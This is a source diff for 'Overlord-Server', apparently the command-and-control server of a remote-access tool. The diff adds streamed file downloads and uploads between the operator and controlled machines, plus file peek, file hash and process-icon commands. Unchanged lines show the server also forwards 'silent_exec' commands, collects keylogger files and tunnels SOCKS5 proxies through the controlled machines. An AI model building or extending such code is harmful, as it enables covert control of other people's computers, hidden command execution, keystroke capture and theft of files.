nextExpectedOffset?: number; + streamErrored?: boolean; + onFirstChunk?: () => void; + firstChunkSignaled?: boolean; }; +function isStreamMode(pending: PendingHttpDownload): boolean { + return !!pending.streamController; +} + +async function failStream(pending: PendingHttpDownload, err: Error): Promise { + if (pending.streamErrored) return; + pending.streamErrored = true; + try { + pending.streamController?.error(err); + } catch {} + pending.reorderBuffer?.clear(); +} + +function enqueueOrdered(pending: PendingHttpDownload, offset: number, data: Uint8Array): boolean { + if (!pending.streamController || pending.streamErrored) return false; + if (offset === (pending.nextExpectedOffset ?? 0)) { + try { + pending.streamController.enqueue(data); + } catch (err) { + void failStream(pending, err as Error); + return false; + } + pending.nextExpectedOffset = (pending.nextExpectedOffset ?? 0) + data.length; + if (pending.reorderBuffer && pending.reorderBuffer.size > 0) { + while (true) { + const next = pending.reorderBuffer.get(pending.nextExpectedOffset ?? 0); + if (!next) break; + pending.reorderBuffer.delete(pending.nextExpectedOffset ?? 0); + try { + pending.streamController.enqueue(next); + } catch (err) { + void failStream(pending, err as Error); + return false; + } + pending.nextExpectedOffset = (pending.nextExpectedOffset ?? 0) + next.length; + } + } + return true; + } + if (!pending.reorderBuffer) pending.reorderBuffer = new Map(); + if (!pending.reorderBuffer.has(offset)) { + pending.reorderBuffer.set(offset, data); + } + if (pending.reorderBuffer.size > STREAM_REORDER_BUFFER_LIMIT) { + void failStream(pending, new Error("download chunks arrived too far out of order")); + return false; + } + return true; +} + +async function teardownPending(pending: PendingHttpDownload, pendingHttpDownloads: Map): Promise { + clearTimeout(pending.timeout); + pendingHttpDownloads.delete(pending.commandId); + if (isStreamMode(pending)) { + return; + } + try { + await pending.fileHandle.close(); + } catch {} + try { + await fs.unlink(pending.tmpPath); + } catch {} +} + export async function consumeHttpDownloadPayload( payload: any, pendingHttpDownloads: Map, @@ -33,15 +105,16 @@ export async function consumeHttpDownloadPayload( if (!pending) return; if (payload?.error) { - clearTimeout(pending.timeout); - pendingHttpDownloads.delete(commandId); - try { - await pending.fileHandle.close(); - } catch {} - try { - await fs.unlink(pending.tmpPath); - } catch {} - pending.reject(new Error(String(payload.error))); + const err = new Error(String(payload.error)); + if (isStreamMode(pending)) { + await failStream(pending, err); + clearTimeout(pending.timeout); + pendingHttpDownloads.delete(commandId); + pending.resolve(pending); + } else { + await teardownPending(pending, pendingHttpDownloads); + pending.reject(err); + } return; } @@ -67,6 +140,7 @@ export async function consumeHttpDownloadPayload( commandId, total: pending.total, rawTotalType: typeof rawTotal, + mode: isStreamMode(pending) ? "stream" : "buffer", }); } @@ -112,34 +186,44 @@ export async function consumeHttpDownloadPayload( chunkIndex, chunksTotal, expectedChunks: pending.expectedChunks, + mode: isStreamMode(pending) ? "stream" : "buffer", }); } + const effectiveOffset = offset ?? 0; const shouldWrite = chunkIndex !== null ? !pending.receivedChunks.has(chunkIndex) - : !pending.receivedOffsets.has(offset ?? 0); + : !pending.receivedOffsets.has(effectiveOffset); if (shouldWrite) { - try { - await pending.fileHandle.write(data, 0, data.length, offset ?? 0); - } catch (err) { - clearTimeout(pending.timeout); - pendingHttpDownloads.delete(commandId); + if (isStreamMode(pending)) { + const accepted = enqueueOrdered(pending, effectiveOffset, data); + if (!accepted) { + clearTimeout(pending.timeout); + pendingHttpDownloads.delete(commandId); + pending.resolve(pending); + return; + } + } else { try { - await pending.fileHandle.close(); - } catch {} - try { - await fs.unlink(pending.tmpPath); - } catch {} - pending.reject(err as Error); - return; + await pending.fileHandle.write(data, 0, data.length, effectiveOffset); + } catch (err) { + await teardownPending(pending, pendingHttpDownloads); + pending.reject(err as Error); + return; + } } if (chunkIndex !== null) { pending.receivedChunks.add(chunkIndex); } else { - pending.receivedOffsets.add(offset ?? 0); + pending.receivedOffsets.add(effectiveOffset); } pending.receivedBytes += data.length; + + if (!pending.firstChunkSignaled && pending.onFirstChunk) { + pending.firstChunkSignaled = true; + try { pending.onFirstChunk(); } catch {} + } } } } @@ -152,9 +236,17 @@ export async function consumeHttpDownloadPayload( if ((pending.total > 0 ? pending.receivedBytes >= pending.total : hasAllChunks && pending.receivedBytes > 0) && hasAllChunks) { clearTimeout(pending.timeout); pendingHttpDownloads.delete(commandId); - try { - await pending.fileHandle.close(); - } catch {} + if (isStreamMode(pending)) { + if (pending.reorderBuffer && pending.reorderBuffer.size > 0 && !pending.streamErrored) { + await failStream(pending, new Error("download completed with gaps in chunk stream")); + } else if (!pending.streamErrored) { + try { pending.streamController?.close(); } catch {} + } + } else { + try { + await pending.fileHandle.close(); + } catch {} + } pending.resolve(pending); } } diff --git a/Overlord-Server/src/server/routes/client-routes.ts b/Overlord-Server/src/server/routes/client-routes.ts index 9b1aade..86a86f4 100644 --- a/Overlord-Server/src/server/routes/client-routes.ts +++ b/Overlord-Server/src/server/routes/client-routes.ts @@ -306,17 +306,12 @@ export async function handleClientRoutes( if (!record) { return new Response("Not Found", { status: 404 }); } - const etag = `"${clientId}-${record.version}"`; - if (req.headers.get("if-none-match") === etag) { - return new Response(null, { status: 304, headers: { ETag: etag } }); - } return new Response(record.bytes as unknown as BodyInit, { status: 200, headers: { "Content-Type": record.contentType, "Content-Length": String(record.bytes.byteLength), - ETag: etag, - "Cache-Control": "private, max-age=300", + "Cache-Control": "no-store", }, }); } diff --git a/Overlord-Server/src/server/routes/file-download-routes.ts b/Overlord-Server/src/server/routes/file-download-routes.ts index 6802172..0ccba21 100644 --- a/Overlord-Server/src/server/routes/file-download-routes.ts +++ b/Overlord-Server/src/server/routes/file-download-routes.ts @@ -1,4 +1,5 @@ import fs from "fs/promises"; +import type { FileHandle } from "fs/promises"; import path from "path"; import { v4 as uuidv4 } from "uuid"; import { authenticateRequest } from "../../auth"; @@ -32,6 +33,12 @@ type PendingHttpDownload = { resolve: (entry: PendingHttpDownload) => void; reject: (error: Error) => void; timeout: ReturnType; + streamController?: ReadableStreamDefaultController; + reorderBuffer?: Map; + nextExpectedOffset?: number; + streamErrored?: boolean; + onFirstChunk?: () => void; + firstChunkSignaled?: boolean; }; type DownloadIntent = { @@ -53,6 +60,13 @@ type UploadIntent = { timeout: ReturnType; }; +type StreamingPullState = { + size: number; + done: boolean; + error: Error | null; + waiters: Array<() => void>; +}; + type UploadPull = { id: string; clientId: string; @@ -63,8 +77,76 @@ type UploadPull = { expiresAt: number; timeout: ReturnType; deleteFile: boolean; + state?: StreamingPullState; + expectedTotal?: number; }; +function notifyPullWaiters(state: StreamingPullState) { + const list = state.waiters.splice(0); + for (const w of list) { + try { w(); } catch {} + } +} + +function waitForPullProgress(state: StreamingPullState): Promise { + if (state.done) return Promise.resolve(); + return new Promise((resolve) => state.waiters.push(resolve)); +} + +function makeIncrementalPullStream(pull: UploadPull): ReadableStream { + let cancelled = false; + return new ReadableStream({ + async start(controller) { + const state = pull.state; + if (!state) { + controller.close(); + return; + } + let fh: FileHandle | null = null; + try { + fh = await fs.open(pull.tmpPath, "r"); + let pos = 0; + const READ_CHUNK = 256 * 1024; + while (!cancelled) { + while (pos < state.size && !cancelled) { + const remaining = state.size - pos; + const buf = new Uint8Array(Math.min(remaining, READ_CHUNK)); + const { bytesRead } = await fh.read(buf, 0, buf.length, pos); + if (bytesRead === 0) break; + controller.enqueue(bytesRead === buf.length ? buf : buf.subarray(0, bytesRead)); + pos += bytesRead; + } + if (cancelled) return; + if (state.error) { + controller.error(state.error); + return; + } + if (state.done) { + controller.close(); + return; + } + await Promise.race([ + waitForPullProgress(state), + new Promise((res) => setTimeout(res, 5000)), + ]); + } + } catch (err) { + try { controller.error(err); } catch {} + } finally { + if (fh) { + try { await fh.close(); } catch {} + } + } + }, + cancel() { + cancelled = true; + if (pull.state) { + notifyPullWaiters(pull.state); + } + }, + }); +} + type FileDownloadRouteDeps = { DATA_DIR: string; secureHeaders: (contentType?: string) => Record; @@ -207,9 +289,6 @@ async function serveDownloadById( } const commandId = uuidv4(); - const downloadDir = path.join(deps.DATA_DIR, "downloads"); - await fs.mkdir(downloadDir, { recursive: true }); - const tmpPath = path.join(downloadDir, `${commandId}.bin`); let fileName = path.basename(downloadPath) || "download.bin"; try { @@ -218,20 +297,47 @@ async function serveDownloadById( fileName = "download.bin"; } - const fileHandle = await fs.open(tmpPath, "w+"); - logger.debug("[filebrowser] http download start", { commandId, clientId, path: downloadPath, - tmpPath, + mode: "stream", + }); + + let streamController!: ReadableStreamDefaultController; + const stream = new ReadableStream({ + start(controller) { + streamController = controller; + }, + cancel() { + const p = deps.pendingHttpDownloads.get(commandId); + if (p) { + clearTimeout(p.timeout); + deps.pendingHttpDownloads.delete(commandId); + } + try { + target.ws.send(encodeMessage({ type: "command_abort", commandId } as any)); + } catch {} + }, + }); + + let firstChunkResolve!: () => void; + let firstChunkReject!: (err: Error) => void; + const firstChunkPromise = new Promise((resolve, reject) => { + firstChunkResolve = resolve; + firstChunkReject = reject; }); const downloadPromise = new Promise((resolve, reject) => { const timeout = setTimeout(() => { + const p = deps.pendingHttpDownloads.get(commandId); + if (!p) return; deps.pendingHttpDownloads.delete(commandId); - void fileHandle.close(); - void fs.unlink(tmpPath).catch(() => {}); + if (p.streamController && !p.streamErrored) { + p.streamErrored = true; + try { p.streamController.error(new Error("Download timed out")); } catch {} + } + firstChunkReject(new Error("Download timed out")); reject(new Error("Download timed out")); }, 5 * 60_000); @@ -248,14 +354,40 @@ async function serveDownloadById( expectedChunks: 0, loggedTotal: false, loggedFirstChunk: false, - tmpPath, - fileHandle, + tmpPath: "", + fileHandle: null, resolve, reject, timeout, + streamController, + reorderBuffer: new Map(), + nextExpectedOffset: 0, + onFirstChunk: () => firstChunkResolve(), }); }); + downloadPromise + .then((completed) => { + logger.debug("[filebrowser] http download complete", { + commandId, + clientId, + path: downloadPath, + total: completed.total, + receivedBytes: completed.receivedBytes, + expectedChunks: completed.expectedChunks, + receivedChunks: completed.receivedChunks.size, + streamErrored: !!completed.streamErrored, + }); + }) + .catch((err) => { + logger.debug("[filebrowser] http download failed", { + commandId, + clientId, + path: downloadPath, + error: (err as Error)?.message || String(err), + }); + }); + target.ws.send( encodeMessage({ type: "command", @@ -281,36 +413,28 @@ async function serveDownloadById( success: true, }); - let completed: PendingHttpDownload; try { - completed = await downloadPromise; + await firstChunkPromise; } catch (err) { - logger.debug("[filebrowser] http download failed", { - commandId, - clientId, - path: downloadPath, - error: (err as Error)?.message || String(err), - }); return new Response((err as Error).message || "Download failed", { status: 500 }); } - logger.debug("[filebrowser] http download complete", { - commandId, - clientId, - path: downloadPath, - total: completed.total, - receivedBytes: completed.receivedBytes, - expectedChunks: completed.expectedChunks, - receivedChunks: completed.receivedChunks.size, - }); + const installed = deps.pendingHttpDownloads.get(commandId); + if (installed?.streamErrored) { + return new Response("Download failed", { status: 500 }); + } - const headers = { + const headers: Record = { ...deps.secureHeaders("application/octet-stream"), - "Content-Disposition": `attachment; filename="${completed.fileName}"`, + "Content-Disposition": `attachment; filename="${fileName}"`, "Cache-Control": "no-store, private", }; + const total = installed?.total ?? 0; + if (total > 0) { + headers["Content-Length"] = String(total); + } - return new Response(streamFileAndDelete(completed.tmpPath), { headers }); + return new Response(stream, { headers }); } export function createUploadPull(opts: { @@ -459,70 +583,140 @@ export async function handleFileDownloadRoutes( const uploadDir = path.join(deps.DATA_DIR, "uploads"); await fs.mkdir(uploadDir, { recursive: true }); - const tmpPath = path.join(uploadDir, `${uploadId}.bin`); - - let stagedSize = 0; - const fileHandle = await fs.open(tmpPath, "w"); - try { - if (req.body) { - const reader = req.body.getReader(); - let position = 0; - while (true) { - const { done, value } = await reader.read(); - if (done) break; - if (!value || value.byteLength === 0) continue; - await fileHandle.write(value, 0, value.byteLength, position); - position += value.byteLength; - stagedSize += value.byteLength; - } - } else { - const bytes = new Uint8Array(await req.arrayBuffer()); - if (bytes.byteLength > 0) { - await fileHandle.write(bytes, 0, bytes.byteLength, 0); - stagedSize = bytes.byteLength; - } - } - } catch (err) { - logger.debug("[filebrowser] http upload stage error", { - uploadId, - error: (err as Error)?.message || String(err), - }); - await fileHandle.close(); - await fs.unlink(tmpPath).catch(() => {}); - return new Response("Upload staging failed", { status: 500 }); - } - await fileHandle.close(); - - logger.debug("[filebrowser] http upload staged bytes", { - uploadId, - bytes: stagedSize, - clientId: intent.clientId, - path: intent.path, - }); - - uploadIntents.delete(uploadId); - clearTimeout(intent.timeout); const pullId = uuidv4(); + const tmpPath = path.join(uploadDir, `${pullId}.bin`); + + const contentLength = Number(req.headers.get("content-length") || 0); + const expectedTotal = Number.isFinite(contentLength) && contentLength >= 0 ? contentLength : 0; + const canStream = !!req.body && expectedTotal > 0; + const pullExpiresAt = Date.now() + FILE_UPLOAD_PULL_TTL_MS; const pullTimeout = setTimeout(() => { - const pull = uploadPulls.get(pullId); + const stale = uploadPulls.get(pullId); uploadPulls.delete(pullId); - if (pull && pull.deleteFile) { - void fs.unlink(pull.tmpPath).catch(() => {}); + if (stale && stale.deleteFile) { + void fs.unlink(stale.tmpPath).catch(() => {}); } }, FILE_UPLOAD_PULL_TTL_MS); + const state: StreamingPullState | undefined = canStream + ? { size: 0, done: false, error: null, waiters: [] } + : undefined; + uploadPulls.set(pullId, { id: pullId, clientId: intent.clientId, path: intent.path, fileName: intent.fileName, tmpPath, - size: stagedSize, + size: expectedTotal, expiresAt: pullExpiresAt, timeout: pullTimeout, deleteFile: true, + state, + expectedTotal, + }); + + uploadIntents.delete(uploadId); + clearTimeout(intent.timeout); + + let agentCommandId: string | null = null; + if (canStream) { + const target = clientManager.getClient(intent.clientId); + if (target) { + agentCommandId = uuidv4(); + try { + target.ws.send( + encodeMessage({ + type: "command", + commandType: "file_upload_http", + id: agentCommandId, + payload: { + path: intent.path, + url: `${url.origin}/api/file/upload/pull/${encodeURIComponent(pullId)}`, + total: expectedTotal, + }, + } as any), + ); + logger.debug("[filebrowser] http upload eagerly notified agent", { + uploadId, + pullId, + clientId: intent.clientId, + total: expectedTotal, + commandId: agentCommandId, + }); + } catch (err) { + logger.debug("[filebrowser] http upload eager notify failed", { + uploadId, + error: (err as Error)?.message || String(err), + }); + agentCommandId = null; + } + } + } + + let stagedSize = 0; + const fileHandle = await fs.open(tmpPath, "w"); + try { + if (req.body) { + const reader = req.body.getReader(); + while (true) { + const { done, value } = await reader.read(); + if (done) break; + if (!value || value.byteLength === 0) continue; + await fileHandle.write(value, 0, value.byteLength, stagedSize); + stagedSize += value.byteLength; + if (state) { + state.size = stagedSize; + notifyPullWaiters(state); + } + } + } else { + const bytes = new Uint8Array(await req.arrayBuffer()); + if (bytes.byteLength > 0) { + await fileHandle.write(bytes, 0, bytes.byteLength, 0); + stagedSize = bytes.byteLength; + if (state) { + state.size = stagedSize; + notifyPullWaiters(state); + } + } + } + } catch (err) { + logger.debug("[filebrowser] http upload stage error", { + uploadId, + error: (err as Error)?.message || String(err), + }); + if (state) { + state.error = err as Error; + state.done = true; + notifyPullWaiters(state); + } + await fileHandle.close(); + await fs.unlink(tmpPath).catch(() => {}); + uploadPulls.delete(pullId); + clearTimeout(pullTimeout); + return new Response("Upload staging failed", { status: 500 }); + } + await fileHandle.close(); + + if (state) { + state.done = true; + notifyPullWaiters(state); + } + const finalPull = uploadPulls.get(pullId); + if (finalPull) { + finalPull.size = stagedSize; + } + + logger.debug("[filebrowser] http upload staged bytes", { + uploadId, + pullId, + bytes: stagedSize, + clientId: intent.clientId, + path: intent.path, + streamed: canStream, }); return Response.json({ @@ -530,6 +724,8 @@ export async function handleFileDownloadRoutes( size: stagedSize, path: intent.path, pullUrl: `${url.origin}/api/file/upload/pull/${encodeURIComponent(pullId)}`, + agentCommandId, + agentNotified: !!agentCommandId, }); } @@ -581,6 +777,29 @@ export async function handleFileDownloadRoutes( if (pull.deleteFile) { uploadPulls.delete(pullId); clearTimeout(pull.timeout); + + if (pull.state && !rangeHeader) { + const expected = pull.expectedTotal ?? pull.size; + const stream = makeIncrementalPullStream(pull); + const cleanupOnDone = stream.pipeThrough(new TransformStream({ + flush: async () => { + await fs.unlink(pull.tmpPath).catch(() => {}); + }, + })); + return new Response(cleanupOnDone, { + headers: { ...baseHeaders, "Content-Length": String(expected) }, + }); + } + + if (pull.state && rangeHeader) { + while (!pull.state.done && !pull.state.error) { + await waitForPullProgress(pull.state); + } + if (pull.state.error) { + await fs.unlink(pull.tmpPath).catch(() => {}); + return new Response("Upload streaming failed", { status: 500 }); + } + } return new Response(streamFileAndDelete(pull.tmpPath), { headers: { ...baseHeaders, "Content-Length": String(pull.size) }, }); diff --git a/Overlord-Server/src/server/routes/websocket-lifecycle-routes.ts b/Overlord-Server/src/server/routes/websocket-lifecycle-routes.ts index b2cb219..a201358 100644 --- a/Overlord-Server/src/server/routes/websocket-lifecycle-routes.ts +++ b/Overlord-Server/src/server/routes/websocket-lifecycle-routes.ts @@ -20,6 +20,7 @@ import { clearClientSyncState, handleFrame, handleHello, handlePing, handlePong import { getMaxPayloadLimit, getMessageByteLength, isAllowedClientMessageType } from "../../wsValidation"; import { stopAllProxiesForClient } from "../socks5-proxy-manager"; import { verifyBuildToken, isBuildBanned } from "../build-signing"; +import { clearThumbnail } from "../../thumbnails"; const OFFLINE_GRACE_MS = (() => { const raw = process.env.OVERLORD_OFFLINE_GRACE_MS; @@ -552,6 +553,8 @@ export async function handleWebSocketMessage( await handleHello(infoObj, payload as Hello, ws, ip); clientManager.addClient(infoObj.id, infoObj); + clearThumbnail(resolvedId); + const reconnectedWithinGrace = cancelPendingOffline(infoObj.id); deps.dispatchAutoScriptsForConnection(infoObj, ws); @@ -643,6 +646,8 @@ export async function handleWebSocketMessage( case "file_icon_result": case "file_thumb_result": case "file_dirsize_result": + case "file_peek_result": + case "file_hash_result": case "command_result": if (payloadType === "command_result" && typeof (payload as any).commandId === "string") { const pending = deps.pendingCommandReplies.get((payload as any).commandId); @@ -676,6 +681,7 @@ export async function handleWebSocketMessage( deps.handleFileBrowserMessage(client.id, payload); break; case "process_list_result": + case "process_icon_result": deps.handleProcessMessage(client.id, payload); break; case "keylog_file_list": diff --git a/Overlord-Server/src/server/ws-file-process-proxy-keylogger.ts b/Overlord-Server/src/server/ws-file-process-proxy-keylogger.ts index 78f5f4b..8454854 100644 --- a/Overlord-Server/src/server/ws-file-process-proxy-keylogger.ts +++ b/Overlord-Server/src/server/ws-file-process-proxy-keylogger.ts @@ -30,6 +30,8 @@ type WsViewerClusterDeps = { consumeHttpDownloadPayload: (payload: any) => Promise | void; }; +const WS_UPLOAD_MAX_TOTAL = 8 * 1024 * 1024; + const fileBrowserCommandSessions = new Map(); function trackFileBrowserCommand(commandId: string, sessionId: string): void { @@ -142,6 +144,23 @@ export function handleFileBrowserViewerMessage(ws: ServerWebSocket, target.ws.send(encodeMessage({ type: "command", commandType: "file_dirsize", id: routedId, payload: actualPayload } as any)); metrics.recordCommand("file_dirsize"); break; + case "file_peek": + target.ws.send(encodeMessage({ type: "command", commandType: "file_peek", id: routedId, payload: actualPayload } as any)); + metrics.recordCommand("file_peek"); + break; + case "file_hash": + target.ws.send(encodeMessage({ type: "command", commandType: "file_hash", id: routedId, payload: actualPayload } as any)); + metrics.recordCommand("file_hash"); + logAudit({ + timestamp: Date.now(), + username: (ws.data as any).username || "unknown", + ip: ws.data.ip || "unknown", + action: AuditAction.FILE_DOWNLOAD, + targetClientId: clientId, + details: JSON.stringify({ path: actualPayload?.path || "", op: "hash", algorithm: actualPayload?.algorithm || "sha256" }), + success: true, + }); + break; case "silent_exec": logger.debug(`[DEBUG] Forwarding silent_exec to client ${clientId}:`, actualPayload.command); target.ws.send(encodeMessage({ type: "command", commandType: "silent_exec", id: routedId, payload: actualPayload } as any)); @@ -198,14 +217,43 @@ export function handleFileBrowserViewerMessage(ws: ServerWebSocket, case "file_upload": { const upload = normalizeFileUploadPayload(payload); if (!upload) return; - safeSendViewer(ws, { - type: "file_upload_result", - commandId, - transferId: upload.transferId, - path: upload.path, - ok: false, - error: "chunked uploads are disabled; refresh and retry", - }); + if (upload.total > WS_UPLOAD_MAX_TOTAL) { + safeSendViewer(ws, { + type: "file_upload_result", + commandId, + transferId: upload.transferId, + path: upload.path, + ok: false, + error: `file too large for ws upload (${upload.total} > ${WS_UPLOAD_MAX_TOTAL}); use http upload`, + }); + break; + } + const uploadCommandId = payload.commandId || commandId; + if (ws.data.sessionId) trackFileBrowserCommand(uploadCommandId, ws.data.sessionId); + target.ws.send(encodeMessage({ + type: "command", + commandType: "file_upload", + id: uploadCommandId, + payload: { + path: upload.path, + data: upload.data, + offset: upload.offset, + total: upload.total, + transferId: upload.transferId, + }, + } as any)); + metrics.recordCommand("file_upload"); + if (upload.offset === 0) { + logAudit({ + timestamp: Date.now(), + username: (ws.data as any).username || "unknown", + ip: ws.data.ip || "unknown", + action: AuditAction.FILE_UPLOAD, + targetClientId: clientId, + details: JSON.stringify({ path: upload.path, total: upload.total, mode: "ws_chunked" }), + success: true, + }); + } break; } case "file_delete": { @@ -311,6 +359,8 @@ export function handleFileBrowserMessage(clientId: string, payload: any, deps: W return item; }); safeSendViewer(session.viewer, { ...payload, thumbs }); + } else if (payload.type === "file_peek_result" && payload.data && !(payload.data instanceof Uint8Array)) { + safeSendViewer(session.viewer, { ...payload, data: new Uint8Array(payload.data) }); } else { safeSendViewer(session.viewer, payload); } @@ -350,6 +400,10 @@ export function handleProcessViewerMessage(ws: ServerWebSocket, raw: target.ws.send(encodeMessage({ type: "command", commandType: "process_list", id: commandId } as any)); metrics.recordCommand("process_list"); break; + case "process_icon": + target.ws.send(encodeMessage({ type: "command", commandType: "process_icon", id: commandId, payload: { items: payload.items || [] } } as any)); + metrics.recordCommand("process_icon"); + break; case "process_kill": { const pid = Number(payload.pid); if (!Number.isFinite(pid) || pid <= 0) { @@ -387,7 +441,17 @@ export function handleProcessViewerMessage(ws: ServerWebSocket, raw: export function handleProcessMessage(clientId: string, payload: any) { for (const session of sessionManager.getProcessSessionsByClient(clientId)) { - safeSendViewer(session.viewer, payload); + if (payload.type === "process_icon_result" && Array.isArray(payload.icons)) { + const icons = payload.icons.map((item: any) => { + if (item && item.png && !(item.png instanceof Uint8Array)) { + return { ...item, png: new Uint8Array(item.png) }; + } + return item; + }); + safeSendViewer(session.viewer, { ...payload, icons }); + } else { + safeSendViewer(session.viewer, payload); + } } } diff --git a/Overlord-Server/src/thumbnails.ts b/Overlord-Server/src/thumbnails.ts index 352a51e..2d27b99 100644 --- a/Overlord-Server/src/thumbnails.ts +++ b/Overlord-Server/src/thumbnails.ts @@ -36,6 +36,7 @@ type ThumbnailRecord = { const thumbnails = new Map(); const latestFrames = new Map(); const thumbnailRequests = new Map(); +const thumbnailVersionHWM = new Map(); function touchThumbnailLRU(id: string) { const existing = thumbnails.get(id); @@ -120,11 +121,14 @@ export async function generateThumbnail(id: string): Promise { } const prior = thumbnails.get(id); const now = Date.now(); + const hwm = thumbnailVersionHWM.get(id) ?? (prior?.version ?? 0); + const newVersion = hwm + 1; + thumbnailVersionHWM.set(id, newVersion); if (prior) thumbnails.delete(id); thumbnails.set(id, { bytes: out, contentType: "image/webp", - version: (prior?.version ?? 0) + 1, + version: newVersion, updatedAt: now, }); evictThumbnailsIfFull(); diff --git a/Overlord-Server/src/wsValidation.ts b/Overlord-Server/src/wsValidation.ts index d539af0..737f0c3 100644 --- a/Overlord-Server/src/wsValidation.ts +++ b/Overlord-Server/src/wsValidation.ts @@ -17,10 +17,13 @@ export const ALLOWED_CLIENT_MESSAGE_TYPES = new Set([ "file_icon_result", "file_thumb_result", "file_dirsize_result", + "file_peek_result", + "file_hash_result", "command_result", "screenshot_result", "command_progress", "process_list_result", + "process_icon_result", "script_result", "plugin_event", "notification",